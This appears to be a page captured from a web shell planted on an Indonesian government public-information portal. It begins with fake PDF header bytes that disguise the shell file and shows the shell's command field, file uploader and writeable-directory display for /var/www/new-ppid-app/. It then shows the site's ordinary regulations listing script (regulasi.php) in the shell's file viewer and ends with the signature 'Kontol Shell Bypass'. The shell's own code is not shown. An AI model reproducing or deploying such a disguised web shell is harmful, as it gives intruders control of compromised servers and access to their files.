%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/regulasi.php
<?php
/**
 * Halaman Regulasi & Peraturan — daftar dasar hukum & SOP layanan informasi.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

// Ambil seluruh kategori bertipe regulasi, lalu dokumennya.
$katRegulasi = get_kategori('regulasi');
$ids = array_column($katRegulasi, 'id');

$dokumen = [];
if ($ids) {
    $in = implode(',', array_fill(0, count($ids), '?'));
    $stmt = db()->prepare(
        "SELECT d.*, k.nama AS kategori_nama, k.warna, k.icon
         FROM dokumen_informasi d
         JOIN kategori_informasi k ON k.id = d.kategori_id
         WHERE d.status = 'publish' AND d.kategori_id IN ($in)
         ORDER BY d.tahun DESC, d.judul ASC"
    );
    $stmt->execute($ids);
    $dokumen = $stmt->fetchAll();
}

$pageTitle = 'Regulasi & Peraturan — ' . APP_NAME_SHORT;
$activeNav = 'regulasi';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span><span>Regulasi</span>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2">Regulasi &amp; Peraturan</h1>
        <p class="text-green-50 max-w-2xl">Dasar hukum, peraturan, dan Standar Operasional Prosedur (SOP) penyelenggaraan layanan informasi publik.</p>
    </div>
</section>

<main class="max-w-5xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full space-y-8">
    <?php require __DIR__ . '/partials/tata-cara.php'; ?>

    <div>
        <h2 class="text-xl font-bold text-slate-900 mb-4 flex items-center gap-3"><i class="fas fa-gavel text-mateng-green"></i> Dokumen Regulasi &amp; SOP</h2>
    <?php if (empty($dokumen)): ?>
        <div class="text-center py-20 bg-white rounded-2xl border border-slate-100">
            <i class="fas fa-gavel text-5xl text-slate-300 mb-4"></i>
            <p class="text-slate-500 font-medium">Belum ada regulasi yang dipublikasikan.</p>
        </div>
    <?php else: ?>
        <div class="bg-white rounded-2xl border border-slate-100 shadow-sm divide-y divide-slate-100">
            <?php foreach ($dokumen as $d):
                $adaFile = !empty($d['file_name']) && is_file(UPLOAD_PATH . '/dokumen/' . $d['file_name']); ?>
                <div class="flex flex-col sm:flex-row sm:items-center gap-4 p-5 hover:bg-slate-50/60 transition-colors">
                    <div class="w-12 h-12 bg-yellow-50 text-mateng-gold rounded-xl flex items-center justify-center text-xl shrink-0">
                        <i class="fas fa-gavel"></i>
                    </div>
                    <div class="flex-grow">
                        <a href="<?= e(url('dokumen.php?id=' . $d['id'])) ?>" class="font-bold text-slate-800 hover:text-mateng-green transition-colors"><?= e($d['judul']) ?></a>
                        <p class="text-sm text-slate-500 mt-1"><?= e(excerpt($d['deskripsi'], 130)) ?></p>
                        <div class="flex flex-wrap gap-3 text-xs text-slate-400 mt-2">
                            <?php if ($d['tahun']): ?><span><i class="far fa-calendar mr-1"></i><?= e($d['tahun']) ?></span><?php endif; ?>
                            <?php if ($d['unit_kerja']): ?><span><i class="far fa-building mr-1"></i><?= e($d['unit_kerja']) ?></span><?php endif; ?>
                        </div>
                    </div>
                    <?php if ($adaFile): ?>
                        <a href="<?= e(url('unduh.php?id=' . $d['id'])) ?>" class="shrink-0 inline-flex items-center justify-center gap-2 bg-mateng-green hover:bg-green-700 text-white text-sm font-semibold px-4 py-2.5 rounded-lg transition-colors">
                            <i class="fas fa-download"></i> Unduh
                        </a>
                    <?php else: ?>
                        <a href="<?= e(url('dokumen.php?id=' . $d['id'])) ?>" class="shrink-0 inline-flex items-center justify-center gap-2 bg-slate-100 hover:bg-slate-200 text-slate-600 text-sm font-semibold px-4 py-2.5 rounded-lg transition-colors">
                            <i class="fas fa-eye"></i> Detail
                        </a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
    </div>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass